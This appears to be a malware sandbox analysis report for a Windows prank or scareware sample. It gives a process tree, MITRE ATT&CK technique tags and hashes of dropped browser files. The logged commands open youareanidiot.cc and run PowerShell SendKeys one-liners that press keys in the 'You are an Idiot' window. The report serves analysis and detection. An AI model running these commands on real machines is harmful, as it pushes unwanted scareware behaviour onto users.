        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6900,i,13022026239404661155,3779923874600088359,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
        5⤵
        
        PID:7816
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7040,i,7203084363877965596,1679964004456515913,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=6996 /prefetch:14
        5⤵
        
        PID:7860
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3748,i,11613652597141222444,9972389327903727947,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:14
        5⤵
        
        PID:7496
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4624,i,2745369290362417152,14026005829188540489,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:14
        5⤵
        
        PID:7492
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4748,i,5754897478914279724,1592419857514407303,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:14
        5⤵
        
        PID:7516
  - - C:\Windows\system32\where.exe
      where firefox
      4⤵
      PID:1256
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:5932
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:5504
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1944 -prefsLen 27097 -prefMapHandle 1956 -prefMapSize 270279 -ipcHandle 2040 -initialChannelId {29afc2d1-0402-4e12-ba14-d75e34a0330d} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:664
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2416 -prefsLen 27133 -prefMapHandle 2420 -prefMapSize 270279 -ipcHandle 2436 -initialChannelId {4822c7de-468a-455a-b570-17b896f0c06b} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:5052
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3836 -prefsLen 25213 -prefMapHandle 3840 -prefMapSize 270279 -jsInitHandle 3844 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3852 -initialChannelId {ea2aafce-2421-459d-a9ea-876b2f661ece} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        
        PID:5112
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4052 -prefsLen 27323 -prefMapHandle 4056 -prefMapSize 270279 -ipcHandle 4140 -initialChannelId {d7afad43-cd1b-45d6-9e9e-b627356f6d06} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:5828
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3000 -prefsLen 34822 -prefMapHandle 3004 -prefMapSize 270279 -jsInitHandle 3272 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2624 -initialChannelId {72d8a15d-2c2b-44f0-ae3b-9103b08734b5} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        
        PID:6440
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 948 -prefsLen 35010 -prefMapHandle 1268 -prefMapSize 270279 -ipcHandle 5128 -initialChannelId {c316ec4d-9518-4ec9-b708-7944e4a3aca9} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        
        PID:7604
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4916 -prefsLen 32952 -prefMapHandle 5468 -prefMapSize 270279 -jsInitHandle 5488 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5492 -initialChannelId {921cb767-5d2a-498a-bd86-e9beb71e4abb} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        
        PID:7776
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5492 -prefsLen 32952 -prefMapHandle 5488 -prefMapSize 270279 -jsInitHandle 5468 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5516 -initialChannelId {7369d1fc-4e8a-4d59-a9e3-9c28fa0e78a4} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        
        PID:7664
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5652 -prefsLen 32952 -prefMapHandle 5400 -prefMapSize 270279 -jsInitHandle 5392 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5804 -initialChannelId {03b4ddc6-7f1e-447b-99ce-d176a04a0ea5} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        
        PID:1580
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 6124 -prefsLen 35079 -prefMapHandle 6128 -prefMapSize 270279 -ipcHandle 6080 -initialChannelId {19be0a47-80c0-435e-8c9d-bf015104133e} -parentPid 5504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        6⤵
        
        PID:4604
  - - C:\Windows\system32\where.exe
      where brave
      4⤵
      PID:3788
  - - C:\Windows\system32\where.exe
      where opera
      4⤵
      PID:4092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{TAB}{TAB}{ENTER}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{TAB}{TAB}{ENTER}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6336

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4472

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:7980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:6344

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

714868b7-e6c8-4c97-92a8-a706f28157b4.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\714868b7-e6c8-4c97-92a8-a706f28157b4.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000004

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000004
Size 29KB
SHA256 945b1879933bbc5258e255af8c56c4875858f0129b99428afebf9ea8bc1c54d9
MD5 dc19fcb6d8c1dcead0ce6eb87aaf0d72
SHA1 f113f177cb1ce1d6350b71d905deeca581cb4e26
SHA512 d0427195840632ce55a634865ef43771957879ca1bdb55d8fad07a4996d4e0f3dfff8af583bd8365231e2b24c9d6880da5f7d82087d17e4bbad42bdc7544fed5
SSDEEP 768:tW5M611wnYrzb63j7R/KOjhAq+4uzCe++dK:Ev1hm3j7R/KQVruGl+dK
TLSH
T198D2E19BF3A18B478940263CB9734BC693FFA01424C5DD125758A8D47707FE0E8AA6F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 144B
SHA256 0ee36ef532e9c9d031192962e1c514efd45df1ae9662c1422eda76d78a774b96
MD5 d82af4062e038f7e00650d3efcda8cc2
SHA1 d52210c8e953a220a59970c174eb1f2f94317f5d
SHA512 b2e896ebbe226e67155901d3b2ae31d0047847b2fbf2a35c0d9f97539d8def6426886a9d791e498895516d17191cbe849cacecdf52e97171a000641fef1a1406
TLSH
T19AC0922554849456CF85427248BA48A2B1101A65012E9A8B9EEA08E985EB2F39901280
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 5b46e44ffc15d13f05b04247c313d7cae5a533dcbcecd25d7b16348994955434
MD5 979dce99058f4aeb2f39bd0dabfa846c
SHA1 fbf015e8caca71bd5d9b4c923fde7bae0b29823a
SHA512 2c82915ac80c7be772628dbecf721ba294c6fc2b2f06f0df9d790a162fc1dc5a08f055a644ba927b5a78e828aa5a60ed3372c5ab45219ee2c605957f4d93c820
SSDEEP 192:7Ro7fzQv7KvAPRp23t9NLHsb+WNncWzCJ2O7eYZ62Aq+VyIsnAUgR:7Ro77Mu6XQ3w5s2aI272R
TLSH
T13932A72EBA50693B6ECBC21AF9257B93DBF5002121D02E84E7FC992C15DB6CC7227517
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 02c452e5a3f3326ad22b0556c3c977e1e2db988259ebdab2c436051a69544e1f
MD5 c81b325a0a88e78caa9baed27f7e577f
SHA1 803900b9524d9b31c8d87dd5adc6fa653b39aab1
SHA512 b6db6d42b679423f6f3b3d1043488f01b40ab89e5777e91e37ac38bb9547f1e8ffad2ed934a3c31ed491daf65a86d5c1084d3df6de1c668f27ee8ed1e8f9b182
SSDEEP 192:7Ro7fzXv7KvAPRp23t9NLHsb+WNncWzCJ2O7eYZ62Aq+VyIsnAUgR:7Ro77/u6XQ3w5s2aI272R
TLSH
T15B32A72EBA50693B6ECBC21AF9257B93DBF5002121D02E80E7FC992C15DB6CC7227517
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 d3d974794f3300d08dbb23d45d288107fe2d53397630c156b894d4e812b31eef
MD5 e540246bad104dbd48e50189d332a6a8
SHA1 2243aacddf1db9cb8fc225c3b7c5ae7e64e6f3aa
SHA512 6a3da9a485b4d86740a085e260726fc80f868e5947cf03f2e87c8743cf6dfcee54dfc5865bb3237dda0eedf6189c4a4049e05bcf9e8d05a33fcd5f84696cc23d
SSDEEP 192:7Ro7fzzv7KvAPRp23t9NLHsb+WNncWzCJ277eYZ62AI+VyIsnAUgE:7Ro77Lu6XQ3w5s25I2V2E
TLSH
T1F442A62EBA50793B6ECBC61AF9257B93DBF5102121D02E80E6FC992C15EB6CC7217117
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 671ef27e60254e76bc74b8a59daff4fd387e5df13faaa6fdaccff9cb579baa91
MD5 258bb719888282be9d511059f6651856
SHA1 a35449b5ab811d1a12da4f8a075acb120ae4024c
SHA512 1493f0e7316ce2faaa3a596b590a801b01d2a5e04d46a379cbd82ef5ca5dea941969b40e59b8c4c272ce661d35bc546ad256b2a6113069ce2ad7d6e8e560bbc9
SSDEEP 192:ecP4K63X7KxkXqK4I40pUZNCgVLHrKHfFKslE1rxXzKD/6h+ErUkKN9Yr0XAn57C:ZPjwX7KxkXqKf/pUZNCgVLH2Hfgsl8xG
TLSH
T1AF32F927A48D5A7F0FD8E50DDC126F4B6DB5029377681D2492FB9D0803A87CE214A6FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 3159f366f9ccce2d12d36626ebf321d74ea61cfdb87bd9eb5922777f01021dec
MD5 139d1dd64a337ef499c3860f72896e9c
SHA1 7738935c23385f3aa8098fd7aca5ff228185daa3
SHA512 bb0b3f03f39266fd5c2f6b5c4af0446e05d97eb69639d9f09b11b2d53311d35204600fa1b5029a0c7b147dda257ea11c65930f86c9deb983ff972d289715dc2c
SSDEEP 96:BC0d+hDK+UyKovbfaNQYYeteRDotok59qDAB6WGyvUU+HesbL/Mmv4a:BC0qDHUgvIdaDUDOkCI++sbL/N
TLSH
T15BA11A31B46D4D775A76D949F86A2E43CEB4603BE931BE84D9DE0E0C11EB1EC1342653
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 a069e092bcf9ae2589f724057f73899ec9b91d9ba4e28c90467077749835ba93
MD5 f78038c0322beb38f3d76237ec6bc108
SHA1 442941c40c3d5100affb27d75e544df89ec6a5d6
SHA512 0dfd09a95e65dc3ab5ad83d76695b2e284d3c83984bdfea3e11b3b1546f4abf403943110b4b3b30594b52bc7a75ef5b32ce27d85e902342810d98b4223c7d81d
SSDEEP 96:hC6Fd+hDK+UyKovbfaNQYnttSl8h4otop596DAB6RGyvUgIlG1QzbOQDJEfHeu0W:hCSqDHUgvIdNiU2akpsIlTL9Ef+uUQ
TLSH
T187C12875B46CAD331EB7994AF4122E83CEB5602B9951BE94CADB0F0C02D71EC1343A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 dfacefa73d018d54e3feba3eef28ec722a8422fee8768a2c3d8d6253f863b375
MD5 cb5000b6fab1115bfff50bedcc3eb9fd
SHA1 afbfe0ec03df59e7a1eba1da4227111508419c03
SHA512 aab9a1afd5de2f983466724b6ecf0dbc2e176c5a1eb2f059b9507511cc53643fcf9ed990bd565f22f8d53fb82db71cba238962a75c68db02d5f10b526661bd08
TLSH
T15AD09B667354991CC9C439712462565161015820941443581D96B16CCDE56C707561DA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ecdd5c8034c45eff453cbaf31d8886e2bd9609a73853367a6d096a69cc81f1be
MD5 a774534a956a5c8affebe08e87c80683
SHA1 b3e4e20a91e4087d3b9247b5ef6815f51858a041
SHA512 27769aee2cac148a0154fe42b51da2a9a1088e9e990873915b4c7ab9bd5442a3facf82b2bd1cbaef75328bd5937813698b96ac06aa76d934d07ab5ebb194a824
TLSH
T103D09B6673449A1CC9C439712461565161115820E41443581C96715CCDE56C707571DE
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 17eb23d5808abaf6fc8fbd1c4df736da4986809104b9b61f7388456162b9e177
MD5 b744119d54d6a6e9c9d538cf52e65b6d
SHA1 f555f0b795f4e7be65853f5b4476053490aa4951
SHA512 97f56c1e80afe71e6f149f1a9c06ebff69c36ef4f54e618a2bfb17bee71dffd6a83659b78fe38d2d8b39989ec3d308414a0cd473e338e3c9ac0f4bd5e1b6f190
TLSH
T116510834276DE9EEEB695AB323E458843EF880761547DA00E7480DF6D8E6F105CD3853
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59bc13.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59bc13.TMP
Size 3KB
SHA256 8347c4d651a8ffeef93dede120baf4b0e2600c1249df36a54909f3a327a6ab2b
MD5 0efbea79870a92defddb9e17d7b1a604
SHA1 3a77665d900a25c76bb2a57a87dab418101aa7d3
SHA512 743f510d1c333951d15aa5d5881aace79963bab247cb6c5cdfc2531c7a9c634baf503383ceed3bd7ccfbf407d2381510e95ebb0998d970cf05ed6064bbe4f49a
TLSH
T12251F634236EE9EDE7295AB363E054883EF8807A2447DA00E7080DF6D9E2F045CD3863
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

df4d6fbf-cf40-402a-9c23-73d34be487ae.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\df4d6fbf-cf40-402a-9c23-73d34be487ae.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 1741018548efcdee6183310b07ec6146b9a6b17665584076746a5a67e579c20a
MD5 65aa0dc2cb73c60efabbda6299bc5633
SHA1 85fdfd59652573aba17184aa071a5a173bb117f7
SHA512 bb42d04d7af849f8c0d52cf9a3eb693058bf36ed74352c584aefd8940378a5a3c0c6752a5cdfc6c432b42711892a2c3448060cb94be3b074c359b867daeb7fba
SSDEEP 192:sxRLbR6QCJ/fEsEfNKCA94/1zoA8p9Y/g6+WNPJ+/YD9j6SOGihIgVUJ:sxR/IJ/fEsENZ8ha/5s/PS4q
TLSH
T10E32DA166968AD3B4CCBD25DBB19BF53D2F9103261D01E58EAFC961C04E67DD620740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 4f6612ceaae17cc252e00f2a0815700cdff7117834ee0992fca8efb42642ca05
MD5 ac48005e65ec8e4c0bd39f77b85d9014
SHA1 805538eb9b569b434228fb271d24b0c97b11bcd4
SHA512 2366e59bbf8555f7541e69400b7f7a5e2ad91d5f0790e50f6e3fdea530ae5cb544957fc4980b269829d2994d7816d9d64d4654f7aa2c3e480868e2423b08fb33
SSDEEP 192:sxRgbR6QCJ/fEsHfNdZyRzoA8p9Y/g6+WNPJ+/YD9j6SOGihIgDLSWcJ:sxRwIJ/fEs/NTyMa/5s/PS4Y
TLSH
T14C42E816AA78A93B4CCBD25DFB29BF53D2F9103260901E18E6FC961C04EA7DD620740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 a834a0d2c982c8c8f029d916f4af303405758cbc4434277b7c5d25ad24faa58f
MD5 f8ceb119b8c6512cf35990e20727d63a
SHA1 7e923d0152caedecd859f2acb25ff4a49e16a166
SHA512 2ea140d33e8a9ffbab21ac6bddc97360f6d3c954cbe068f5ea1a8234e8534cfeee7168bb4674412e754fafd2115103a1bd5ada91affbd953f3ba9b1e29790662
SSDEEP 768:azfWML7pLuL7J0Wg/Xf7f8F1+UoAYDCx9Tuqh0VfUC9xbog/OVDc16cropLixfxP:azfWMdE7J0Wg/Xf7fu1jacy6HpLQ
TLSH
T194C2EA7B640CCF7F4F800ADDAD197E9B6DA802CB9698CD5047FE941C02C6BEA52164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 4902184745e8acba3850957b01e8c98ce41273118b0d3adb89530695e6880ff2
MD5 095b58aad05ee782f03b650e65481e2d
SHA1 c6fcd287c64db6d475fa4f170609f0399ef9e68c
SHA512 fb91df3edc1759e7443e87348b891755cc52b21056d893dd5cfa9abaa96b2743b51a3e88af0c0273cb65fd7392fbe64bea0d36e34b412321b0ed4fe79603b16b
SSDEEP 384:zAsrv+89zHqlDNP9oidS38N2zbSPuyPQV+WZlf8hyEG1bF22Zy2rEoajo4cdR8ek:Hrv+4UNbdS3bvi0DrEnjN3Gac1FVR3nO
TLSH
T11603BF31B9689E738CFBE285B1477A03BFF4465385C50AA489CD3A0C46CB5ED630B967
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 1ef5ad288b74dea4b6a6891abf28d7e02252e9bd1fec4c15c15a484ea179b2c2
MD5 e6beb0f07da171efc8f69055d0caba69
